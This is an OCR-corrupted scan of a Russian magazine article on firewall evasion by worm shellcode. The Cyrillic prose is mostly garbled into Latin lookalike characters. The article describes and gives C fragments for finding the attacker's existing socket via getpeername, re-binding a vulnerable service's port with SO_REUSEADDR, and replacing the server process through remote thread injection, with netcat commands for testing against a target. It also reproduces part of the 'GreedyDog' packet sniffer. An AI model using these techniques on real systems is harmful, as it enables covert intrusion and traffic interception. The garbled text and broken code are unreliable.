XET B6bITb, HAKOHEL, JOMAET, YTO yCTaHaBnmBaTth HoBble TCP/
IP-coeguHeHns ¢ atakyeMblM CepBepoM HeHyxHo! BmecTto
3TOr0 MOXHO BOCMONb30BATLCS YXKE CYLLECTBYIOLMM COeu-
HEHMEM, NneranbHbIM 06Pa3oM YCTaHOBMIEHHBIM C CepBEPOM!

B 4acTHOCTW, MOXHO rapaHTMpOBaThb, Y4TO Ha NyGAMYHOM
Be6-cepBepe 6yaeT 0653aTenbHO OTKPLIT 80-M NOpT, MHaYe
HW OOWH NONb30BaTeNb BHELLHEN CETU HE CMOXET C HUM pa-
6otatb. Nockonbky HTTP-npoTokon TpebyeT ABYXCTOPOHHE-
ro TCP/IP-coegnHeHns1, aTakytoLLmin MOXET 6eCnpensTCTBEH-
HO oTnpasnsATb shell-kogy 3noBpeaHble kOMaHabl ¥ Nony4aTb
Hasaf OTBeTbl. ANrOPUTM ataku B O6LUEM BUAE BbIrMSOuT
NPUGN3UTENIBHO TaK: aTakyloLMiA yCcTaHaBIMBAET C YA3BU-
MbIM cepeepom TCP/IP-coegnHeHne, NpUTBOPACH HEBUHHOM
OBEYKOW, MMPHO NacyLlencs Ha 6eckpanHux npoctopax UH-
TepHeTa, HO BMeCTO YecTHoro 3anpoca «GET» oH nogbpachl-
BaeT cepsepy 3nospedHbii shell-kod, nepenonHatowmin 6y-
tbep n 3axBatbiBatOLLWA ynpasneHue. BpaHamayap, fOBOSb-
HO CMYTHO NpefcTaBnsAoLLmMiA cebe 0COBEHHOCTH Nporpamm-
HOW peanusauumn cepeepa, He BUOMUT B TaKOM NakeTe HUYero
LYPHOrO 1 61aronony4Ho ero nNponycKaer.

Mexgy Tem shell-kog, cnerka 06XMBLUUCL HA aTakoBaH-
HOM CepBepe, BbI3biBAET DYHKLMIO recv, nepeaanas el aeck-
punTop yxe ycTtaHoBneHHoro TCP/IP-coenunHenus, Toro ca-
MOro, Yepe3 KOTOpPOe OH M 6bin 3acnaH — MOATArMBas CBOe
oCHoBHoe Teno. CoBepLUeHHO HMYEero He NOA03peBatoLLui
fpaHamayap M 3TW NakeTbl NPOMYCKAET TOXE, HUYEM HE Bbl-
Lenss ux B niorax.

Mpobnema B TOM, 4TO shell-kog He 3HaeT geckpunTopa
«CBOEro» COeIMHEHNS 1 MOTOMY HE MOXET 3TUM COELMHEHM-
eM HanpsaMyto BOCMONb30BaThCA. HO TYyT HA MOMOLLb MPUXO-
OMT OyHKUMS getpeername, coobLuatoLlas, ¢ KakuM yaaneH-
HbIM afjpPeECOM W NOPTOM YCTaHOBNEHO COEAMHEHME, accoum-
MPOBaHHOE C AaHHbIM [EeCKPUMNTOPOM (ECNM OECKpUNTOp He
acCoLMMPOBAH HW C KaKUM COEAMHEHMEM, (DYHKLMS BO3Bpa-
waet owu6Ky). Mockonbky 1 B Windows 9x/NT, n B UNIX pec-
KPUNTOPbI BbIpaXatoTcs HEOONbLUUM MONOXUTENbHLIM LENbIM
4yncnom, BroJsiHe peasibHO 3a KOPOTKOe Bpems nepebpaTtb Mx
BCe, nocne 4ero shell-kogy ocTaHeTcs NMuLb ONPeREenuTb, Ka-
koe 13 Bcex TCP/IP-coepmHeHunin «ero». 310 nerko. Begp IP-
afpec 1 MopT aTaKyloLEero y3na emy XopoLo U3BECTHbI (HY
LOJDKEH XE OH MOMHWUTb, OTKYAA OH TOMbKO YTO mpuwen!),
[OCTaTO4HO BbIMOMHUTL TPUBMANBHYKO NPOBEPKY Ha coBna-
[leHne — BOT U Bce.

. " Buffer Overflow
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PucyHok 6. ATakywoumpif B3achiaeT Ha ysSBMMENG cepBep shell-kop,
KOTOpPHIf MeTOomoM "Tynoro" nepe6opa HaXOZUT COKeT yxe ycTa-
HOBJIGHHOT'O COeMMHEHMs M CBSISHBAaeTCH C YB3JOM aTaKylmWero, He
BHISHBasT HMKaKMX MONOBPEHMII CO CTOPOHH 6GpaHAMayspa

CUCTEMELIIaAMUHNCTPATOD



MporpammHan peanusaums rofioBbl HYepBsA B HECKOMbKO
yNpoLLUEeHHOM BMOEe MOXET BbIrNaAeTb, Hanpumep, Tak:

JucTuer 3. KmoueBoit ¢parmMeHT shell-koma, OCYIeCTBISHOLANL
IIOUCK cokeTa "crBoero" coemMHeHHUs

// war 1: nepebupaeM BCe ZECKPUITOPH COKETOB ORMH 33 APYIUM
for (a = 0; a < MAX SOCKET; a++)

*buff = 0; // ouumaem mMs coxerTa

// war 2: nomyyaeM afpec, CBSI3aHHH C AaHHHM HECKPUITOPOM

// (xoHeuHO, Hpu YCNOBMM, YTO C HUM BOOBWE YTO-TO CBSISHO)

if (getpeername ((SOCKET) a, (struct sockaddr*) &faddr,
(int *) buff) != -1)

{

// war 3: upenTupuuupyem csoe TCP/IP-coepmHenue

// mo ceoemy nopTy

if (htons(faddr.sin port) == HACKERS_PORT)
sshell ((SOCKET) a, MAX BUF SIZE);

}

// war 4: nogummaeM Ba co6oit Clems
closesocket (fsocket) ;

OTkoMnMNMpoOBaB AEMOHCTPaLUMOHHbIN npumep find.c,
3anycTuTe ero Ha atakyemoMm y3Je, a Ha y3ne aTakyloLlero
HabepuTe:

netcat "agpec arakyemoro" 666

Y6eauTechb, 4TO HUKaKME, JaXe camble XecTkue U Heae-
MOKpaTU4ecKne HacTpoiiku 6paHamayapa He NpensTCTBYOT
HOpMasTbHOW XMU3HEAeATeNbHOCTU YepBsi. BHUMaTenbHeNLWm
06pa3oM M3y4uTe BCE JIOTU — Bbl HE BUOUTE B HUX HUYETO
nogosputensHoro? Bot! A Toxe He Buxy. U xoTa IP-agpec
aTakyloLEero B HUX UCNPaBHO MPUCYTCTBYET, OH HUYEM HE
BbIAENAETCS Cpean COTEH TbICAY ajpecoB OCTasbHbIX MNOJlb-
30BaTefieil M pa3obrayvnTb Xakepa MOXET NULb NPOCMOT-
pom cogepxumoro Bcex TCP/IP-nakeToB. MakeTbl, 0TNpas-
NEHHbIe 3M0YMbILLNEHHUKOM, 6yayT cogepxatb shell-kog,
KOTOpGIV Nerko pacnosHatb Ha rnas. OgHako, y4nTbiBas, YTo
KaXAyl CeKyHIy CepBep MEpemosia4ynBaeT He OOWH Mera-
6anT MHopMaLmmM, NPOCMOTPETbL BCE NakeTbl CTAaHOBUTCA
NPOCTO HepeasibHO, & aBTOMATU3NPOBAHHBIA MOUCK Tpeby-
€T BMPYCHOW CUrHaTypbl, KOTOPOW Ha NaTeHTHOM cTaguu
SMUOEMUMN ELLE HM Y KOFO HET.

Jonyctum, pa3paboTyMKM OnepaLMOHHbIX CUCTEM UCMPaBSAT
CBOW rpy6blii N8N ¢ AECKPUNTOpamu COKETOB, PaBHOMEPHO
paccesB Mx no Bcemy 32-6MTHOMY NPOCTPAHCTBY, YTO caena-
€T no6oBov nepebop AOBONLHO HEIEKTUBHLIM, OCOBEHHO
ecnu B OyHKUMK getpeername 6yneT BCTPOEH OETEKTOP Ta-
Koro nepebopa, pearvpyoLimii B ciiy4ae nofo3peHuns Ha aTa-
Ky BCe BO3pacTaloLwmm 3amegneHmem. M 4to torga? A Huye-
ro! OnbITHbIE XaKepbl (M rPAMOTHO CMPOEKTMPOBAHHbIE Yep-
BU) nepevigyT K nnaHy «b», HacunbHO genas re-bind yxe oT-
KpbITOMY MOPTY.

B03MOXHOCTb MOBTOPHOrO UCMOJb30BaHMA aiPECOB — 3TO
BMOJIHE fneranbHas BO3MOXHOCTb, ¥ MPeayCMOTPEHA OHa He
Crny4anHo. B npoTMBHOM ciiyqae MPOEKTUPOBaHWE Pa3BETB-
NEHHbIX CETEBLIX NMPUIOXEHUIA C CUITbHO Pa3BUTON MEPAPXM-
YECKOWM CTPYKTYPOW OKasanochb 6bl Ype3BblYaiHO 3aTpyaHe-
HO (KTO MporpaMmmpoBasn CO6CTBEHHbIE CEPBEPbI, TOT MOVA-
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MET, Hy @ KTO He NporpaMmmpoBas, NPOCTO He B COCTOSIHWM
npeacTaBuTb, YEro OH M3bexan).

Ecnu roBoputb KopoTKo: enath bind Ha yXe OTKPbITbIN
MopT MOXET TOSbKO Brafeney 3Toro nopra (T.e. npouecc,
OTKPbIBLUMIA faHHbIA NOPT, UM OQMH M3 €ro NOTOMKOB, yHaC-
NefoBaBLUMX OECKPUNTOP COOTBETCTBYIOLLETO COKETA), Aa U
TO IULLb MPU TOM YCNOBUK, YTO COKET HE UMEET hriara SKCK-
nmo3mBHocTn (SO_EXCLUSIVEADDRUSE). Toraa, co3pnas
HOBbIM COKET M BbI3BaB (hyHKUMIO Setsockopt, npuceavsaro-
wyto emy atpubyt SO_REUSEADDR, shell-kon cmoxeT cne-
natb bind u listen, nocne Yero Bce nocrnegyoLLme noakoye-
HUSA K aTakoBaHHOMY cepBepy 6yayT o6pabaTbiBaTbCs YKe He
camMum cepBepoM, a 3noepedHbiM shell-kogom!

Attack vulnerable service
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again to get shell
PucyHok 7. Arakyloumpif 3ackiiaeT Ha ysisBuMeni cepBep shell-kon,
KOTOpHIf fienaeT re-bind Ha OTKPHTHII NyGAMYHH NOPT M nepe-
XBaTHBaeT BCe [OCJTefylIye COefuHEeHus: (M COemMHeHus, ycTa-
HaBNMBaEeMHe aTaKyKUyUM B TOM uMUCIIe)
I'IporpaMMHaﬂ peannsauunsa ,El,aHHOl7I aTaku BMNosnHe TpuBKn-
anbHa W oTnNMYaeTcs OT aKcnnouTa bind.c ogHOR-eaUHCTBEH-

HOW CTPOKOM:

setsockopt (rsocket, SOL SOCKET, SO REUSEADDR, .
&n_reuse, sizeof (n_reuse))

npuceavBatoLein cokety atpubyt SO_REUSEADDR. OgHa-
KO BMECTO OTKpbITWSI MOPTa C HeCTaHAAPTHLIM HOMEPOM [aH-
HbIN KOL 3aXBaTbIBAET OCHOBHOM MOPT YA3BUMOWN CNyX6bl, HE
BbI3bIBas HMKAKMX MPETEH3MIA Y BpaHaMayapa.

JucTver 4. KmoueBoit ¢parmMeHT shell-koma, OCYIeCTBISHOLANL
re-bind orTkpuTOrO nopra

// war 1: cosgaeM coxer
if ((rsocket = socket (AF INET, SOCK STREAM, 0)) < 0) return -1;

// war 2: npucsamBaem arpu6yrT SO_REUSEADDR
if (setsockopt(rsocket, SOL_SOCKET , SO _REUSEADDR ,
&n_reuse, 4)) return -1;

// war 3: cBsiSHBaeM COKeT C JIOKAJBHEM afpecoM
raddr.sin family = AF INET;
raddr.sin_port = htons (V_PORT) ; // yaseummit mopT
raddr.sin_addr.s_addr = INADDR ANY;
if (bind(rsocket, (struct sockaddr *) &raddr, J
sizeof (raddr))) return -1;

// war 4: caymaem

/ Opu mocnepmymuMx HONKINYEHUSX K YsISBUMOMY HOPTY, YIpaBJeHue
// nonyumr shell-xogm, a He KOR cepBepa ¥ 3TOT NOPT ByAeT
// obsisaTenbHo oTkpHT Ha firewall, NOCKONBKY 3TO NHOPT

// «neranbHOM» ceTeBOM CiyxGs!

if (listen(rsocket, 0x1)) return -1;

// war 5: usBnexaeM coobmeHue u3 ouepemyu
csocket = accept(rsocket, (struct sockaddr *)
&raddr, é&raddr size);

// wmar 6: oBMeHMBaEeMCS KOMaHIaMM C COKETOM
sshell ((SOCKET) csocket, MAX BUF SIZE);

// wmar 7 - nogummaeM 3a cobom cuems

closesocket (rsocket) ;
closesocket (csocket) ;

n
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OTKOMI'IVIJ'IVIpOBaB LEMOHCTPALMOHHBIA NPUMEpP reuse.c,
3anycTuTe ero Ha atakyemom yane, a Ha y3Jie atakyoLlero
BbIMNONTHUTE Cneayolyo KOMaHay:

netcat "agpec arakyemoro" 80

COOTBETCTBYIOLLYIO CTaauu 3ackliku shell-koga Ha ysa3BUMbIN
cepBep. 3aTeM MOBTOPWUTE MOMbITKY MOAKIIOHEHNS BHOBb U,
€CNN BCE MPONAET YCMELUHO, HA 3KpaHe TepMUHasa NosiBUT-
CA YXKe 3HAKOMOE NMpUrnalleHne KOMaHgHOMO UHTEpNpeTaTo-
pa, NOATBepXAaaloLlee, YTo NoAKNYeHne o6paboTaHo oT-
HIOAb He NPEeXHWUM BnafdenbLeM NopTa, a rofIoBO YepBs Uu
shell-kogom.

Y6eoutech, 4To 6paHamayap, He3aBUCUMO OT ero KOHMU-
rypauuu, He BUOWUT B 3TOW CUTYaLMW HAYETO CTPAHHOMO U HK-
Kak He NpensTCcTBYeT HECAHKLMOHWPOBAHHOMY 3axBaTy nof-
kntodeHuid. (3amedanue: nog Windows 2000 SP3 atoT npu-
€M MHOorAa He cpabaTbiBaeT — CUCTEMA, HAXanbHO MPOWUrHO-
pvpoBaB 3axBaT NopTa, NPoAoxaeT obpabaTbiBaTb BXOAs-
LMe NOOKMoYEHUs ero nNpexHuM BnagensuemM. Kak BegyTt
cebsa ocTanbHble CUCTEMbI, HE 3HA0, He NPOBEPS, OAHAKO
3TO0 fiBHasA oLWMbKa M OHa [OSMKHA BbIT UCTIPaBEHa B Creay-
loLwwmx Bepcusix. B nobom cnyyae, ecnv Takoe Npom3oLLno,
noBTOpsANTE 3ackinky shell-koga BHOBb M BHOBb — [0 TEX NOp,
noka Bam He NoBes3eT).

ATpUOYT 3KCKTO3MBHOCTU HE MPUCBAMBAETCH COKETaM Mo
YMOMYaHWIO, U O ero CyLLEeCTBOBaHUM JOraabiBalOTCA Aaneko
He Bce pa3paboTymKmN CepBEPHbIX MPUNOXEHWI, OIHAKO, eC
Mo HaTUCKOM YEPBEN YA3BUMbIE CEPBEPbI HAYHYT ChINATLCS
OQVH 3a OpyruMm, pa3paboTyMKM MOryT NEPeCcMOTPETb CBOE
OTHOLLEHWE K 6e30MacHOCTU W BOCTPENATCTBOBATL HECAHK-
LIMOHMPOBAHHOMY 3axBaTy OTKPbITbIX MOPTOB. HacTynsaT nu
rnocne 3Toro Ans Yepeeit MpayHble BpeMeHa?

[a kak 6bl He Tak! [onoBa 4epBa NPOCTO NPUOLET YA3BU-
MbIli NpoOLECC BMECTE CO BCEMM €ro geckpuntopamu (npu
3aKpbITUM NPOLIECCA BCE OTKPbITbIE MM MOPTbI aBTOMATUYeC-
Ku 0CBOGOXAOTCSH), NepedpackiBas CBOE TENO B HOBbIN NPo-
Liecc, nocse Yero 4epBb caenaet bind TONbKO YTO OTKPLITOMY
MopTy, NOSly4as B CBOE PacnopsXXeHWe BCE BXOAALLME COeau-
HeHUs.

B UNIX-cuctemax ectb 3ameyaTesibHbl CUCTEMHbIN Bbl-
308 fork, pacLuennstoLwmin TekyLLMn NpoLecc 1 aBTomaTnyec-
Ku pasgBavBatoLmii Hepss. B Windows 9x/NT ocyLiectsuTb
Takylo onepaumio HaMHOrO CIIOXHEE, OfHAKO BCE Xe He Tak
CINOXHO, KaK 3T0O KaxeTcs Ha nepebiii Barnsg. OgvH 13 Bos-
MOXHbIX CNOCOBOB peanuaaumn BbIrNaaUT Npu6nM3nTensHO
Tak: cHavana Bbi3biBaeTcst hyHKUmMa CreateProcess ¢ ycTa-
HoBneHHbIM donarom CREATE_SUSPENDED (co3aaHue npo-
Llecca C ero HemMegJIEHHbIM «YChINIEHNEM»), 3aTeM U3 NPo-
Lilecca BbIgMPAETCs TEKYLLMIA KOHTEKCT (3TO OCYLLECTBNAETCS
BbI30BOM (pyHKLMM GetThreadContext) u 3HaveHue permctpa
EIP ycTaHaBnuBaeTca Ha Hayano 651okKa namsaTy, BbloeneHHo-
ro doyHkumeit VirtualAllocEx. Beizos SetThreadContext o6HoB-
NAET COOEPXMMOE KOHTEKCTA, a pyHKUma WriteProcessMemory
BHeOpsieT B afpecHoe NpocTpaHcTBO npouecca shell-kog,
nocne 4Yero npouecc Npobyxpaercs, pasdyXeHHbIN YHKLK-
et ResumeThread, u shell-kog Ha4unMHaeT cBOe BbINOSIHEHME.
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MpoTue aToOro nprMema He CyLleCTBYeT HUKaKuUX afeKBart-
HbIX KOHTPMEpP NPOTUBOLAENCTBUN, N EQUHCTBEHHOE, YTO MOX-
HO MOPEKOMEHO0BaTh, — 3TO M3beratb MCMONb30OBaHMA yAas-

BUMbIX NPUNOXEHNA BOOOLLE.
Buffer Overflow

Server

Fork a process and terminate

—1"-
|

Process bind to same port

Attack vulnerable service

= 1

Attacker connect
vulnerable
service again to
get shell

Attacker

PucyHok 8. Arakywoupif B3achiaeT Ha ysSBMMENG cepBep shell-kop,
NpuGMBaKIM CEPBEPHE NMPOLECC ¥ OTKPHBAKWM/ NyGNMYHENT MDOPT
BaHOBO

lMpu XenaHnu YepBb MOXET NepexBaTbiBaTb BECH TPaGUK,
MPOXOOALLMIA Yepe3 YA3BUMbIA Y3es, a He TOMbKO TOT, YTO
afpecoBaH aTtakoBaHHOMY CepBuCy. Takoe maccuBHOe npo-
CNyLUMBaHWE HYpe3BbIYAAHO TPYAHO OBHApYXWTb, U N3 BCEX
pacCMOTPEHHbIX HamMu cnoco6oB 06xoaa 6paHaMay3poB 3TOT
o6ecrneymBaeT HepBi0 HaMBbICLLUYIO CKPLITHOCTb.

Mo ceTn nyTellecTBYeT OFPOMHOE KONMYeCTBO CHUMde-
poB ans UNIX, B 60MbLUMHCTBO CBOEM pacnpoOCTpaHaeMbIX B
MCXOAHbIX TEKCTAX M HENIOX0 MPOKOMMEHTMPOBaHHbIX. Hau-
6onee yHMBepcanbHbIN CNOco6 NpochyLimMBaHua Tpaduka
anennupyet K Kpocc-nnatopmeHHon 6ubnuoteke libcap,
nopTnpoBaHHoi B ToM 4ucne u nog Windows 95/98/ME/NT/
2000/XP/CE (Ha caiTe http://winpcap.polito.it/install/default.htm
MOXHO HaWTu n cam nopT 6ubnuoTeku, u tcpdump ans
Windows — o4eHb pekoMeHgyto). Ecnn xe Ha atakoBaHHOM
KOMMbIOTEPE 3TON BGMONNOTEKM HET (a YepBb HE MOXET Mo-
3BONWUTbL Cebe POCKOLLb TalWTb ee 3a coH0oM), Mbl Byaem aen-
CTBOBATb TaK: OTKPLIBAEM COKET B CbIPOM PEXMME, CBA3bIBA-
€M €ro ¢ NpocnyLIMBaemMbIM MHTEPGENCOM, NEPEBOAUM MOC-
NefHUA B «Hepas3bopymBbIi» (Promiscuous) pexum, B KOTO-
POM COKeT ByfeT nonyyarts BCe NPOXOAALLME MUMO HErO na-
KETbl, U... COBCTBEHHO, YUTAEM WX B CBOE YOOBOSLCTBUE.

B pasnunyHbIx onepawuyoHHbIX CUCTEMAX STOT MEXaHU3M pe-
anuayetcs no-pasHomy. B Linux, Ha4mHasa ¢ Bepcum 2.2, no-
SBUINCb NOAAEPXKKA NAKETHLIX COKETOB, NpeAHa3Ha4eHHbIX Ans
B3aMMOAENCTBUSA C CETbIO HA YPOBHE OpaiBepoB M co3pnaBae-
MbIX BbI30OBOM:

socket (PF_PACKET, int type, int protocol)

roe type Mmoxet npuHuMaThb 3HadeHns SOCK_RAW («cbipoii»
cokeT) unn SOCK_DGRAM («Cyxoi» COKET C yAaneHHbIMU
CNnyXebHbIMU 3aronoskamu). Bbl3oB:

ifr.ifr flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr)

aKTUBUPYET Hepa3bopUMBLIN PexuM, rae ifr — nHTepdenc, K Ko-
TOPOMY COKET 6blN MPUBSA3aH Cpasy Mocne ero co3faHusa (nog-
po6Hee 06 3TOM MOXHO NpounTaTh B cTaThe B. Melukoa «AHa-
nn3aTop CETEBOro Tpaguka», ony6IMKOBaHHOW B OKTAGPECKOM
HOMepe XypHana «CucTemHbIn agMuHmcTparop» 3a 2002 rog).
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Moz BSD MOXHO OTKpbITb YCTPOWCTBO «/dev/bpf» n nocne
€ro nepeBofa B Hepa36opHMBbIA PEXUM:

ioctl (fd, BIOCPROMISC, 0)

cnywaTtb nponeTarLwmii Mumo y3na Tpadwmk. B Solaris Bce
ocyLlecTBnAeTCs aHanornyHo, Tonbko IOCTL-koabl HEMHOTO
Zpyrue, 1 yCTponcTBO HasblBaeTcs He bpf, a hme. AHanorny-
HbiM 06pasom BeaeT cebsi 1 SUN OS, rae ans OOCTUXEHMA
XXEenaeMoro peayrnsrara NpUXoanTCs OTPbIBATb YCTPOMCTBO nit.

Kopoue roBops, aTa Tema BbbkaTta JOCyXa U HUKOMY YXKe
HE MHTEpecHa. 3ameyvaTenbHOe PyKOBOACTBO MO NporpaMmmu-
poBaHuio CHUGEPOB (NpaBaa, Ha PPaHLY3CKOM A3bIKE) MOX-
HO HaWiTw Ha http://www.security-labs.org/index.php3?page=135,
a Ha http://packetstormsecurity.org/sniffers/ BbInoxeHO MHOXe-
CTBO pa3HO06pa3HbIX «rpabutenen» Tpaduka B UCXOAHbIX TEK-
cTax. HakoHel, no agpecam http://athena.vvsu.ru/infonets/Docs/
sniffer.txt u http://cvalka.net/read.php?file=328&dir=programming
Bac XAEeT napa TONKOBbIX CTaTel 0 CHU(dEpPax Ha PyCCKOM
s13blke. CNoOBOM, Ha HeJOCTATOK MHhOpMAaLIMM XaNioBaTLCS HE
npuxogutcs. MpaBga, OCTaeTCst HEABHLIM — KakK MPUMepUTb
BECb STOT 300MapK W yOepXaTb B rofioBe cneumdumyeckme
0COOEHHOCTM KaXOoW 13 onepaumoHHbIX cUcTem?

Mopaenstowiee 60NbLUMHCTBO CTaTEN, C KOTOPLIMU MHE
NPUXOAMNOCH BCTPEHaThCs, ONUCLIBANM NWLLb OfHY, HYy MakK-
CYUMYM [1BE€ OMepaLMOHHbIE CUCTEMbI, COBEPLUEHHO UrHOPU-
pys CyLLecTBOBaHME oCcTanbHbIX. [pUX0aMIOCH OTKPbIBATL He-
CKOJIbKO cTaTe, OQHOBPEMEHHO M MOMEPEMEHHO MOTaThCA
MeXAy HUMW Ha NPeaMeT BbIACHEeHWs: a nog Linux 3To Kak? A
nog BSD? A nop Solaris? Ot aToro B ronose 06pa3oBbIBasncs
TakoW kaBapfak, 4To OT NMPOYUTAHHOrO MaTepuana He ocTa-
BanocCb U cnefa, a KOMIUAMPYEMbIA KOR COpepXan OorpoMm-
HOe KONMMYeCTBO haTanbHbIX OLIMOOK, faxe W He MbiTaschb
KOMMWIMPOBAThLCH.

Y106bl HE MYYUTb YMTaTENs CBOOHLIMW Tabnuuamu (oT
KoTOpbIX 6onblle Bpeda, Yem Nosib3bl), HUXE MPUBOANUTCA
BMonHe paboTocnocobHas yHKUMa abcTpakumm, NogroTas-
nuBatoLLLas COKET (OECKPUNTOP YCTPOMCTBA) K paboTe U nog-
JepXxuBaroLan 60JbLLIOE KOMHECTBO PasfiMyHbIX onepauu-
OHHbIX cucteM, kak To: SUN OS, Lunux, FreeBSD, IRIX u
Solaris. MonHbIN NCXOOHbIN TEKCT CHdbhepa MOXHO CTaLLUTb
otcioga: http://packetstormsecurity.org/sniffers/gdd13.c.

Jmcrurr 5. CosmaHme CHPOTO COKeTa (meCKpunTopa) ¥ NEpeBOR
ero B HEpasSGOPUMBEI DPeXyUM

/.l.
Ethernet Packet Sniffer 'GreedyDog' Version 1.30
The Shadow Penguin Security
(http://shadowpenguin.backsection.net)

Written by UNYUN (unewn4dth@usa.net)

#ifdef SUNOS4 /*-------- < SUN 0S4 >----------- */
#define NIT DEV "/dev/nit" */
#define  DEFAULT NIC  "le0" */
#define CHUNKSIZE 4096 */
#endif

$ifdef LINUX  /*-------- < LINUX >------------- */
#define NIT DEV n

#define  DEFAULT NIC  "eth(Q" &
#define  CHUNKSIZE 32000 Y
#endif

#ifdef FREEBSD /*-------- < FreeBSD >----------—- */
#define NIT DEV "/dev/bpf" */
#define  DEFAULT NIC  "ed0" 3
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#define  CHUNKSIZE 32000 &/
#endif
#ifdef IRIX /*----------- SR R X e e e e e e */
#define NIT DEV n
#define DEFAULT NIC "
#define  CHUNKSIZE 60000 3
#define ETHERHDRPAD RAW_HDRPAD (sizeof (struct
ether header))

#endif -
#ifdef SOLARIS /*-------- < Solaris >----------- */
#define NIT DEV "/dev/hme" */
#define DEFKULT_NIC "
#define  CHUNKSIZE 32768 3
#endif
#define S_DEBUG */
#define SIZE OF ETHHDR 14 */
#define  LOGFILE "./snif.log" */
#define TMPLOG_DIR "/tmp/" */
struct conn_list{

struct conn list *next p;

char
unsigned long

sourceIP[16] ,destIP[16];
sourcePort,destPort;

}i
struct conn_list *cl; struct conn list *org cl;

#ifdef SOLARIS
int strgetmsg(fd, ctlp, flagsp, caller)
int fd;
struct strbuf *ctlp;
int *flagsp;
char *caller;
{
int re;
static char errmsg[80];

*flagsp = 0;

if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);

if (alarm(0)<0) return(-3);

if ((rc& (MORECTL|MOREDATA) )==(MORECTL|MOREDATA)) .J
return(-4) ;

if (rc&MORECTL) return(-5);

if (rc&MOREDATA) return(-6);

if (ctlp->len<sizeof (long)) return(-7);

return(0) ;
}
#endif
int setnic_promisc(nit_dev,nic_name)
char *nit_dev;
char *nic name;

{

int sock; struct ifreq f;

#ifdef SUNOS4
struct strioctl si; struct timeval timeout;
u_int chunksize = CHUNKSIZE; u_long if flags = NI_PROMISC;

if ((sock = open(nit dev, O RDONLY)) < 0) return(-1);
if (ioctl(sock, I SRDOPT, (char *)RMSGD) < 0) return(-2);
si.ic_timout = INFTIM;

if (ioctl(sock, I PUSH, "nbuf") < 0) return(-3);

timeout.tv_sec = 1; timeout.tv usec = 0;

si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof (timeout); si.ic dp = (char *)&timeout;
if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4);

si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof (chunksize);
si.ic dp = (char *)é&chunksize;
if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5);

strncpy (f.ifr name, nic name, sizeof(f.ifr name));

f.ifr name[sizeof (£.ifr name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic len = sizeof(f); si.ic dp = (char *)&f;

if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6);

si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof (if_flags);

si.ic dp = (char *)&if flags;

if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7);

if (ioctl(sock, I FLUSH, (char *)FLUSHR) < 0) return(-8);
#endif

#ifdef LINUX
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if ((sock=socket (AF_INET,SOCK PACKET,768))<0) return(-1);
strepy (f.ifr name, nic name); J
if (ioctl(sock,SIOCGIFFLAGS,&f)<0) return(-2);
f.ifr flags |= IFF_PROMISC; J
if (ioctl(sock,SIOCSIFFLAGS,&f)<0) return(-3);
#endif

#ifdef FREEBSD
char device[12]; int n=0; struct bpf version bv; .
unsigned int size;
do{
sprintf (device,"%s%d",nit _dev,nt+); J
sock=open (device,0_RDONLY) ;
} while(sock<0 && errno==EBUSY);
if (ioctl (sock,BIOCVERSION, (char *)&bv)<0) return(-2);
if ((bv.bv_major!=BPF MAJOR VERSION) ||
(bv. bv_minor<BPF ! MINOR . VERSION) ) return(-3);
strncpy (£. :|.fr name, nic i name, sizeof (f.ifr _name) ) ;
if (ioctl (sock,BIOCSETIF, (char *)&f)<0) return(-4);
ioctl (sock,BIOCPROMISC,NULL) ;if (ioctl (sock,BIOCGBLEN,
(char *)&size)<0) return(-5);
#endif

#ifdef IRIX
struct sockaddr raw sr; struct snoopfilter sf;
int size=CHUNKSIZE,on=1; char *interface;
if ((sock=socket (PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0)
return(-1) ;
sr.sr_family = AF RAW; sr.sr_port = 0;
if (!(interface=(char *)getenv("interface")))
memset (sr.sr_ifname,0,sizeof (sr.sr_ifname));
else strncpy (sr.sr_ifname,interface,sizeof (sr.sr_ifname));
if (bind(sock, &sr,sizeof (sr))<0) return(-2); J
memset ( (char *)é&sf,0,sizeof(sf));
if (ioctl (sock,SIOCADDSNOOP, &sf)<0) return(-3);
setsockopt (sock,SOL SOCKET,SO RCVBUF,
(char *)s&size, s1zeof(s1ze)),
if (ioctl (sock,SIOCSNOOPING, &on)<0) return(-4);
#endif

#ifdef SOLARIS
long buf[CHUNKSIZE]; dl_attach req t ar; J
dl_promiscon req t pr;
struct strioctl si; union DL primitives *dp;
dl bind req t bind regq;
struct strbuf c; int flags;

if ((sock=open(nit _dev,2))<0) return(-1);

ar.dl primitive=DL ATTACH REQ; ar.dl ppa=0; c.maxlen=0;
c.len=sizeof (dl_attach req_t) c.buf=(char *)s&ar;
if (putmsg(sock &c,NULL,0)<0) return(-2);

c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

strgetmsg(sock, &c, &flags, "dlokack");
dp=(union DL primitives *)c.buf;

if (dp->dl_primitive != DL _OK ACK) return(-3);

pr.dl primitive=DL PROMISCON REQ; .

pr.dl level=DL PROMISC _PHYS; c.maxlen = 0;
@ len—s:.zeof(dl_promlscon req_t) ; c.buf=(char *)é&pr;
if (putmsg(sock,é&c,NULL,0)<0) return(-4);

c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

strgetmsg (sock, &c, &flags, "dlokack");
dp=(union DL primitives *)c.buf;

if (dp->dl_primitive != DL OK ACK) return(-5);

bind req.dl primitive=DL BIND REQ; bind _req. dl_sap=0x800;

bind | req.dl max conind=0; bind req.dl service mode=DL CLDLS;

bind req.dI conn mgmt=0; bind req.dl_xidtest flg=0; .
c.maxlen=0;

c.len=sizeof (dl_bind req t); c.buf=(char *)&bind req;

if (putmsg(sock,&c,NULL,0)<0) return(-6);

c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

strgetmsg(sock, &c, &flags, "dlbindack");
dp=(union DL primitives *)c.buf;

if (dp->dl_primitive != DL BIND ACK) return(-7);

si.ic_cmd=DLIOCRAW; si.ic timout=-1; si.ic len=0;
si.ic_dp=NULL;
if (ioctl(sock, I_STR, &si)<0) return(-8);
if (ioctl(sock,I FLUSH,FLUSHR)<0) return(-9);
#endif
return (sock) ;
}
